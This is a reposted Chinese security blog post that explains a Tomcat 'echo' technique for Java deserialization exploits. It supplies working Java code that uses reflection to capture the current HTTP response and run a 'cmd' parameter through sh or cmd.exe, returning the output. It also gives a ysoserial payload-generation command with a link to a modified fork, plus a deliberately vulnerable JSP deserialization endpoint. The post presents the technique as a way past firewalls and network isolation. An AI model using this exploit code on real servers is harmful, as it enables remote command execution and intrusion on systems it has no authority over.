您当前的位置:首页 > 电脑百科 > 站长技术 > 服务器

Tomcat中一种半通用回显方法

时间:2020-03-08 16:30:04  来源:  作者:

前段时间和@lufei 大哥学习了一波linux下基于文件描述符的反序列化回显方式的思路。

在自己实现的过程中发现,是通过IP和端口号的筛选,从而过滤出当前线程(也可以说是请求)的文件描述符,进而加入回显的内容。

但是同时也有一个疑问,我们使用回显的目前主要是因为一些端口的过滤,一些内外网的隔离。从而将一些无法从别的途径传输的执行结果,通过http请求的方式,附加在原本的response中,从而绕过一些防护和限制。

以个人的理解,在这种情况下,大概率会有一些负载均衡在真正的服务器前面,这样服务器中显示的ip和端口都会是LB的信息,这种筛选的方式也就失效了。

当时的想法也是如果能直接获取到当前请求的response变量,直接write就可以了。但是对Tomcat不是很熟悉,弄了个简易版适配Spring的就没后文了。

最近又在社区中看到一个师傅发了这个Linux文件描述符的回显方式,评论处也提出了如果能直接获取response的效果会更好,于是就开始试着找了下如何获取tomcat的response变量。

https://xz.aliyun.com/t/7307

寻找过程

这里起的是一个spring boot,先试着往Controller里面注入一个response

Tomcat中一种半通用回显方法

 

为了确保我们获取到的response对象确实是tomcat的response,我们顺着堆栈一直往下。

可以发现request和response几乎就是一路传递的,并且在内存中都是同一个变量(变量toString最后的数字就是当前变量的部分哈希)

Tomcat中一种半通用回显方法

 

这样,就没有问题,只要我们能获取到这些堆栈中,任何一个类的response实例即可。

接下来就是找哪里的response变量可以被我们获取,比较蛋疼的是,每个函数都是通过传参的方式传递的response和request。

那这样的话,在这过程中request和response有没有在哪里被记录过,而且为了通用性,我们只应该寻找tomcat部分的代码,和spring相关的就可以不用看了。

而且记录的变量不应该是一个全局变量,而应该是一个ThreadLocal,这样才能获取到当前线程的请求信息。而且最好是一个static静态变量,否则我们还需要去获取那个变量所在的实例。

顺着这个思路,刚好在 org.Apache.catalina.core.ApplicationFilterChain 这个类中,找到了一个符合要求的变量。

Tomcat中一种半通用回显方法

 

而且很巧的是,刚好在处理我们Controller逻辑之前,有记录request和response的动作。

虽然if条件是false,但是不要紧,我们有反射。

Tomcat中一种半通用回显方法

 

这样,整体的思路大概就是

1、反射修改 ApplicationDispatcher.WRAP_SAME_OBJECT ,让代码逻辑走到if条件里面

2、初始化 lastServicedRequest 和 lastServicedResponse 两个变量,默认为null

3、从 lastServicedResponse 中获取当前请求response,并且回显内容。

写的过程中也学习了一下怎么通过反射修改一个private final的变量,还踩了一些坑,总之直接放上最后的代码

Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

ThreadLocal<ServletResponse> lastServicedResponse =
    (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
    ? lastServicedRequest.get().getParameter("cmd")
    : null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
    lastServicedRequestField.set(null, new ThreadLocal<>());
    lastServicedResponseField.set(null, new ThreadLocal<>());
    WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
    ServletResponse responseFacade = lastServicedResponse.get();
    responseFacade.getWriter();
    JAVA.io.Writer w = responseFacade.getWriter();
    Field responseField = ResponseFacade.class.getDeclaredField("response");
    responseField.setAccessible(true);
    Response response = (Response) responseField.get(responseFacade);
    Field usingWriter = Response.class.getDeclaredField("usingWriter");
    usingWriter.setAccessible(true);
    usingWriter.set((Object) response, Boolean.FALSE);

    boolean isLinux = true;
    String osTyp = System.getProperty("os.name");
    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
        isLinux = false;
    }
    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(in).useDelimiter("\a");
    String output = s.hasNext() ? s.next() : "";
    w.write(output);
    w.flush();
}

原本Contorller代码的逻辑是输出input部分的内容,我们所做的就是在原本的输出内容前面,添加cmd参数执行之后的结果。

Tomcat中一种半通用回显方法

 

需要刷新两次的原因是因为第一次只是通过反射去修改值,这样在之后的运行中就会cache我们的请求,从而也就能获取到response。

加入ysoserial

这样,这样只要稍加改造一下,擦去泛型的部分,用完整的类名代替原本的类名,就可以放入到ysoserial中。

中间莫名又踩了一些坑,嫌麻烦的师傅可以直接用已经改好的版本。

https://github.com/kingkaki/ysoserial

ysoserial的第二个参数是要执行的命令,由于这里可以直接从request获取,自由度更大,所以我将第二个参数改成了要执行的命令的param。

以 CommonsCollections2 为例,如下的方式就相当于创建了一个从cmd参数获取要执行的命令的payload。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2TomcatEcho cmd

测试一下别的tomcat环境,以jsp为例,确保有 commons-collections4 的依赖

然后自己构造一个反序列化的环境

<%
try {
	String input = request.getParameter("input");
	byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(input);
    java.io.ObjectInputStream ois = new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(b));
    ois.readObject();
} catch (Exception e) {
    e.printStackTrace();
}
%>

可以看到内容成功的追加到了输出的body中。

Tomcat中一种半通用回显方法

 

一些局限性

回到标题,为什么是一个半通用的方法呢?

当时构造好了之后兴匆匆的跑了一波shiro的反序列化,死活不成功,debug了很久之后发现了一个问题。

shiro的rememberMe功能,其实是shiro自己实现的一个filter

在 org.apache.catalina.core.ApplicationFilterChain 的 internalDoFilter 中(省略一些无用的代码)

if (pos < n) {
    ApplicationFilterConfig filterConfig = filters[pos++];
    try {
        Filter filter = filterConfig.getFilter();
		...
         filter.doFilter(request, response, this);
    } catch (...)
        ...
    }
    return;
}

// We fell off the end of the chain -- call the servlet instance
try {
    if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
        lastServicedRequest.set(request);
        lastServicedResponse.set(response);
    }

    if (request.isAsyncSupported() && !servletSupportsAsync) {
        request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
                             Boolean.FALSE);
    }
    // Use potentially wrapped request from this point
    if (...){
        ...
    } else {
        servlet.service(request, response);
    }
} catch (...) {
    ...
} finally {
    ...
}

可以看到是先取出所有的的filter对当前请求进行拦截,通过之后,再进行cache request,再从 servlet.service(request, response) 进入jsp的逻辑代码。

Tomcat中一种半通用回显方法

 

rememberMe功能就是ShiroFilter的一个模块,这样的话在这部分逻辑中执行的代码,还没进入到cache request的操作中,此时的cache内容就是空,从而也就获取不到我们想要的response。

最后

ysoserial中所有用 createTemplatesImpl 生成payload的链都已加入了Tomcat回显的模式。

https://github.com/kingkaki/ysoserial

  • CommonsCollections2TomcatEcho
  • CommonsCollections3TomcatEcho
  • CommonsCollections4TomcatEcho

感觉也不仅限于反序列化吧,一些拥有java代码执行的场景都通过这种方式,实现Tomcat的回显。

比较蛋疼的一点就是一些filter中执行的代码不适用,就很可能不适用于很多框架型的漏洞,但是对于开发任人员写的Controller中的场景应该都是可以的。

技术比较菜,如果有师傅发现了更好的利用方式,或者一些文章中的疏漏,都可以一起探讨。

来源:https://www.tuicool.com/articles/ymAnErB



Tags:Tomcat   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
1. 整体架构简析#如果将Tomca它的结构高度抽象的话,那么Tomcat其实可以看成只是有连接器(Connector)和容器(Container)两个组件构成。其中Connector组件负责在服务器端处理客户端...【详细内容】
2021-09-30  Tags: Tomcat  点击:(54)  评论:(0)  加入收藏
开源的 Java Web 应用服务器,实现了 Java EE(Java Platform Enterprise Edition)的部 分技术规范,比如 Java Servlet、Java Server Page、JSTL、Java WebSocket。Java EE 是 S...【详细内容】
2021-09-17  Tags: Tomcat  点击:(68)  评论:(0)  加入收藏
一、前言server.xml 配置,是 Tomcat启动配置,从配置结构可以看出 Tomcat 的整体架构。如果能够了解其常用配置项,对 Tomcat有一个高屋建瓴的把握,然后再庖丁解牛,一步步深入源码...【详细内容】
2021-07-04  Tags: Tomcat  点击:(86)  评论:(0)  加入收藏
一,undertow介绍 1,undertow简介:Undertow是RedHAT红帽公司开源的产品,采用java开发,是一款灵活,高性能的web服务器,提供了NIO的阻塞/非阻塞API,也是Wildfly的默认Web容器。在javaw...【详细内容】
2021-05-07  Tags: Tomcat  点击:(184)  评论:(0)  加入收藏
说明最近项目上遇到一些https的问题,需要在tomcat里面测试一下如何开启https协议访问网站,在网上查了一些资料,自己也试了很多次,终于成功搞定了,下面跟大家分享一下我的一点经验...【详细内容】
2021-04-20  Tags: Tomcat  点击:(162)  评论:(0)  加入收藏
1 Jetty与glassfish的基本介绍1.1 研究背景及意义下图是对几个主流的应用服务器使用比率的粗率统计结果做出的一个饼图。这个图的数据也许不够精确,但它还是可以在一定程度上...【详细内容】
2021-04-06  Tags: Tomcat  点击:(200)  评论:(0)  加入收藏
Tomcat是什么?Tomcat是web容器。你在做web项目时,多数需要http协议,也就是基于请求和响应,比如你在百度输入一行内容搜索,那么百度服务器如何处理这个请求呢,他需要创建servlet来...【详细内容】
2021-03-24  Tags: Tomcat  点击:(290)  评论:(0)  加入收藏
有这样一个场景,公司为了安全起见,需要对所有登录Linux服务器做安全限制,要求除了管理员其他要登录linux服务器的员工不能用最高权限账号登录,要创建新的用户,对目录及文件权限做...【详细内容】
2021-03-04  Tags: Tomcat  点击:(178)  评论:(0)  加入收藏
热部署就是在服务器运行时重新部署项目,热加载即在在运行时重新加载class,从而升级应用。通常情况下在开发环境中我们使用的是热加载,因为热加载的实现的方式在Web容器中启动一...【详细内容】
2021-03-03  Tags: Tomcat  点击:(211)  评论:(0)  加入收藏
制作tomcat镜像先找到一个要安装的版本我们这里以拉取tomcat8的官方镜像为例 1:拉取官方镜像docker pull tomcat:8 2:查看镜像并启动tomcat容器docker imagesdocker run -d -p...【详细内容】
2021-03-01  Tags: Tomcat  点击:(323)  评论:(0)  加入收藏
▌简易百科推荐
阿里云镜像源地址及安装网站地址https://developer.aliyun.com/mirror/centos?spm=a2c6h.13651102.0.0.3e221b111kK44P更新源之前把之前的国外的镜像先备份一下 切换到yumcd...【详细内容】
2021-12-27  干程序那些事    Tags:CentOS7镜像   点击:(1)  评论:(0)  加入收藏
前言在实现TCP长连接功能中,客户端断线重连是一个很常见的问题,当我们使用netty实现断线重连时,是否考虑过如下几个问题: 如何监听到客户端和服务端连接断开 ? 如何实现断线后重...【详细内容】
2021-12-24  程序猿阿嘴  CSDN  Tags:Netty   点击:(12)  评论:(0)  加入收藏
一. 配置yum源在目录 /etc/yum.repos.d/ 下新建文件 google-chrome.repovim /etc/yum.repos.d/google-chrome.repo按i进入编辑模式写入如下内容:[google-chrome]name=googl...【详细内容】
2021-12-23  有云转晴    Tags:chrome   点击:(7)  评论:(0)  加入收藏
一. HTTP gzip压缩,概述 request header中声明Accept-Encoding : gzip,告知服务器客户端接受gzip的数据 response body,同时加入以下header:Content-Encoding: gzip:表明bo...【详细内容】
2021-12-22  java乐园    Tags:gzip压缩   点击:(9)  评论:(0)  加入收藏
yum -y install gcc automake autoconf libtool makeadduser testpasswd testmkdir /tmp/exploitln -s /usr/bin/ping /tmp/exploit/targetexec 3< /tmp/exploit/targetls -...【详细内容】
2021-12-22  SofM    Tags:Centos7   点击:(7)  评论:(0)  加入收藏
Windows操作系统和Linux操作系统有何区别?Windows操作系统:需支付版权费用,(华为云已购买正版版权,在华为云购买云服务器的用户安装系统时无需额外付费),界面化的操作系统对用户使...【详细内容】
2021-12-21  卷毛琴姨    Tags:云服务器   点击:(6)  评论:(0)  加入收藏
参考资料:Hive3.1.2安装指南_厦大数据库实验室博客Hive学习(一) 安装 环境:CentOS 7 + Hadoop3.2 + Hive3.1 - 一个人、一座城 - 博客园1.安装hive1.1下载地址hive镜像路径 ht...【详细内容】
2021-12-20  zebra-08    Tags:Hive   点击:(9)  评论:(0)  加入收藏
以下是服务器安全加固的步骤,本文以腾讯云的CentOS7.7版本为例来介绍,如果你使用的是秘钥登录服务器1-5步骤可以跳过。1、设置复杂密码服务器设置大写、小写、特殊字符、数字...【详细内容】
2021-12-20  网安人    Tags:服务器   点击:(7)  评论:(0)  加入收藏
项目中,遇到了一个问题,就是PDF等文档不能够在线预览,预览时会报错。错误描述浏览器的console中,显示如下错误:nginx代理服务报Mixed Content: The page at ******** was loaded...【详细内容】
2021-12-17  mdong    Tags:Nginx   点击:(7)  评论:(0)  加入收藏
转自: https://kermsite.com/p/wt-ssh/由于格式问题,部分链接、表格可能会失效,若失效请访问原文密码登录 以及 通过密钥实现免密码登录Dec 15, 2021阅读时长: 6 分钟简介Windo...【详细内容】
2021-12-17  LaLiLi    Tags:SSH连接   点击:(16)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条